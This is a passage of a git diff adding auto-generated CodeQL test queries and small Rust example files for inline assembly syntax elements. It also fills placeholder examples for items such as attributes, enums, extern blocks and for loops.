isConst diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql new file mode 100644 index 000000000000..e01d9d86fbe3 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmConst x +where toBeTested(x) and not x.isUnknown() +select x, x.getExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs new file mode 100644 index 000000000000..23800c7fd446 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_const() -> () { + // A constant operand in an inline assembly block. + // + // For example: + asm!("mov eax, {const}", const 42); + // ^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql new file mode 100644 index 000000000000..0d009492422b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmDirSpec x +where toBeTested(x) and not x.isUnknown() +select x diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs new file mode 100644 index 000000000000..8e3740ddfbbf --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_dir_spec() -> () { + // An inline assembly directive specification. + // + // For example: + asm!("nop"); + // ^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql new file mode 100644 index 000000000000..fd81bc1820af --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x, string hasBlockExpr +where + toBeTested(x) and + not x.isUnknown() and + if x.hasBlockExpr() then hasBlockExpr = "yes" else hasBlockExpr = "no" +select x, "hasBlockExpr:", hasBlockExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql new file mode 100644 index 000000000000..910efd74be1b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmLabel x +where toBeTested(x) and not x.isUnknown() +select x, x.getBlockExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs new file mode 100644 index 000000000000..a035dbd6d0cc --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_label() -> () { + // A label in an inline assembly block. + // + // For example: + asm!("jmp {label}", label = sym my_label); + // ^^^^^^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql new file mode 100644 index 000000000000..b7ccc0b5722e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x, string hasInExpr, string hasOutExpr +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasInExpr() then hasInExpr = "yes" else hasInExpr = "no") and + if x.hasOutExpr() then hasOutExpr = "yes" else hasOutExpr = "no" +select x, "hasInExpr:", hasInExpr, "hasOutExpr:", hasOutExpr diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql new file mode 100644 index 000000000000..95aec8cc53d0 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getInExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql new file mode 100644 index 000000000000..a137533938a6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandExpr x +where toBeTested(x) and not x.isUnknown() +select x, x.getOutExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs new file mode 100644 index 000000000000..2c4a3dccc745 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_operand_expr() -> () { + // An operand expression in an inline assembly block. + // + // For example: + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql new file mode 100644 index 000000000000..7cb204f6b9e6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql @@ -0,0 +1,11 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x, string hasAsmOperand, string hasName +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmOperand() then hasAsmOperand = "yes" else hasAsmOperand = "no") and + if x.hasName() then hasName = "yes" else hasName = "no" +select x, "hasAsmOperand:", hasAsmOperand, "hasName:", hasName diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql new file mode 100644 index 000000000000..c3cd36b2ac5b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperand() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql new file mode 100644 index 000000000000..a8b856ffaa82 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOperandNamed x +where toBeTested(x) and not x.isUnknown() +select x, x.getName() diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs new file mode 100644 index 000000000000..a5d10e3c2ba6 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_operand_named() -> () { + // A named operand in an inline assembly block. + // + // For example: + asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + // ^^^^^ ^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql new file mode 100644 index 000000000000..c9e3997ed42e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOption x, string isRaw +where + toBeTested(x) and + not x.isUnknown() and + if x.isRaw() then isRaw = "yes" else isRaw = "no" +select x, "isRaw:", isRaw diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs new file mode 100644 index 000000000000..0035a778967c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_option() -> () { + // An option in an inline assembly block. + // + // For example: + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql new file mode 100644 index 000000000000..77790bb85068 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int getNumberOfAsmOptions +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfAsmOptions = x.getNumberOfAsmOptions() +select x, "getNumberOfAsmOptions:", getNumberOfAsmOptions diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql new file mode 100644 index 000000000000..06f2ba54b6e7 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmOptionsList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getAsmOption(index) diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs new file mode 100644 index 000000000000..93e7117848f2 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_options_list() -> () { + // A list of options in an inline assembly block. + // + // For example: + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql new file mode 100644 index 000000000000..05685f3d994e --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql @@ -0,0 +1,13 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x, string hasAsmDirSpec, string hasAsmOperandExpr, string hasAsmRegSpec +where + toBeTested(x) and + not x.isUnknown() and + (if x.hasAsmDirSpec() then hasAsmDirSpec = "yes" else hasAsmDirSpec = "no") and + (if x.hasAsmOperandExpr() then hasAsmOperandExpr = "yes" else hasAsmOperandExpr = "no") and + if x.hasAsmRegSpec() then hasAsmRegSpec = "yes" else hasAsmRegSpec = "no" +select x, "hasAsmDirSpec:", hasAsmDirSpec, "hasAsmOperandExpr:", hasAsmOperandExpr, + "hasAsmRegSpec:", hasAsmRegSpec diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql new file mode 100644 index 000000000000..5542617aea6c --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmDirSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql new file mode 100644 index 000000000000..bcda631ef9d9 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmOperandExpr() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql new file mode 100644 index 000000000000..aaf03f132120 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegOperand x +where toBeTested(x) and not x.isUnknown() +select x, x.getAsmRegSpec() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs new file mode 100644 index 000000000000..08a7072c6bdd --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_reg_operand() -> () { + // A register operand in an inline assembly block. + // + // For example: + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql new file mode 100644 index 000000000000..5fce70e50f94 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x, string hasIdentifier +where + toBeTested(x) and + not x.isUnknown() and + if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no" +select x, "hasIdentifier:", hasIdentifier diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql new file mode 100644 index 000000000000..3fe54bd3697b --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmRegSpec x +where toBeTested(x) and not x.isUnknown() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs new file mode 100644 index 000000000000..f058e35bc692 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_reg_spec() -> () { + // A register specification in an inline assembly block. + // + // For example: + asm!("mov {0}, {1}", out("eax") x, in("ebx") y); + // ^^^ ^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql new file mode 100644 index 000000000000..e7841f07f689 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x, string hasPath +where + toBeTested(x) and + not x.isUnknown() and + if x.hasPath() then hasPath = "yes" else hasPath = "no" +select x, "hasPath:", hasPath diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql new file mode 100644 index 000000000000..b753181e7282 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from AsmSym x +where toBeTested(x) and not x.isUnknown() +select x, x.getPath() diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3c..000000000000 --- a/rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs new file mode 100644 index 000000000000..ef15dbb96171 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs @@ -0,0 +1,9 @@ +// generated by codegen, do not edit + +fn test_asm_sym() -> () { + // A symbol operand in an inline assembly block. + // + // For example: + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ +} diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs index 9f7bb10a69ae..80de1eca8786 100644 --- a/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/AssocTypeArg/gen_assoc_type_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_assoc_type_arg() -> () { - // A AssocTypeArg. For example: - todo!() + // An associated type argument in a path. + // + // For example: + ::Item + // ^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs index c028915cabf7..a0a42bdf5fe7 100644 --- a/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs +++ b/rust/ql/test/extractor-tests/generated/Attr/gen_attr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_attr() -> () { - // A Attr. For example: - todo!() + // An attribute applied to an item. + // + // For example: + #[derive(Debug)] + //^^^^^^^^^^^^^ + struct S; } diff --git a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs index a924e2f61689..2cc5a2562015 100644 --- a/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs +++ b/rust/ql/test/extractor-tests/generated/ClosureBinder/gen_closure_binder.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_closure_binder() -> () { - // A ClosureBinder. For example: - todo!() + // A closure binder, specifying lifetime or type parameters for a closure. + // + // For example: + for <'a> |x: &'a u32 | x + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs index 32c17ef6c2bd..cb343a3b64c8 100644 --- a/rust/ql/test/extractor-tests/generated/Const/gen_const.rs +++ b/rust/ql/test/extractor-tests/generated/Const/gen_const.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_const() -> () { - // A Const. For example: - todo!() + // A constant item declaration. + // + // For example: + const X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs index ac9bd5d15515..aab4e0d30d43 100644 --- a/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs +++ b/rust/ql/test/extractor-tests/generated/ConstArg/gen_const_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_arg() -> () { - // A ConstArg. For example: - todo!() + // A constant argument in a generic argument list. + // + // For example: + Foo::<3> + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs index c0e3388f3e9f..7dd745ddad30 100644 --- a/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs +++ b/rust/ql/test/extractor-tests/generated/ConstParam/gen_const_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_const_param() -> () { - // A ConstParam. For example: - todo!() + // A constant parameter in a generic parameter list. + // + // For example: + struct Foo ; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs index 24d4fec81e46..063b3ac95546 100644 --- a/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/DynTraitTypeRepr/gen_dyn_trait_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_dyn_trait_type_repr() -> () { - // A DynTraitTypeRepr. For example: - todo!() + // A dynamic trait object type. + // + // For example: + let x: &dyn Debug; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs index 0711920e4ca0..5bb7f774cf08 100644 --- a/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs +++ b/rust/ql/test/extractor-tests/generated/Enum/gen_enum.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_enum() -> () { - // A Enum. For example: - todo!() + // An enum declaration. + // + // For example: + enum E {A, B(i32), C {x: i32}} } diff --git a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs index 8ba8ca6532a4..9c9b28b98bb6 100644 --- a/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs +++ b/rust/ql/test/extractor-tests/generated/ExternBlock/gen_extern_block.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_extern_block() -> () { - // A ExternBlock. For example: - todo!() + // An extern block containing foreign function declarations. + // + // For example: + extern "C" { + fn foo(); + } } diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs index 88a4a7e0b9d9..c077457449ab 100644 --- a/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs +++ b/rust/ql/test/extractor-tests/generated/ExternCrate/gen_extern_crate.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_extern_crate() -> () { - // A ExternCrate. For example: - todo!() + // An extern crate declaration. + // + // For example: + extern crate serde; } diff --git a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs index 80577fc78fb0..efc9a7dc92bb 100644 --- a/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs +++ b/rust/ql/test/extractor-tests/generated/ExternItemList/gen_extern_item_list.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_extern_item_list() -> () { - // A ExternItemList. For example: - todo!() + // A list of items inside an extern block. + // + // For example: + extern "C" { + fn foo(); + static BAR: i32; + } } diff --git a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs index d8c07124d104..a2e33cd0510f 100644 --- a/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/FnPtrTypeRepr/gen_fn_ptr_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_fn_ptr_type_repr() -> () { - // A FnPtrTypeRepr. For example: - todo!() + // A function pointer type. + // + // For example: + let f: fn(i32) -> i32; + // ^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs index bda4a972556e..f87a8ab3fea5 100644 --- a/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ForExpr/gen_for_expr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_for_expr() -> () { - // A ForExpr. For example: - todo!() + // A for loop expression. + // + // For example: + for x in 0..10 { + println!("{}", x); + } } diff --git a/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs b/rust/ql/test/extractor-tests/generated/ForTypeRepr/gen_for_type_repr.rs index 5e1c39e49c38..d77f533bb0a6 100644 --- 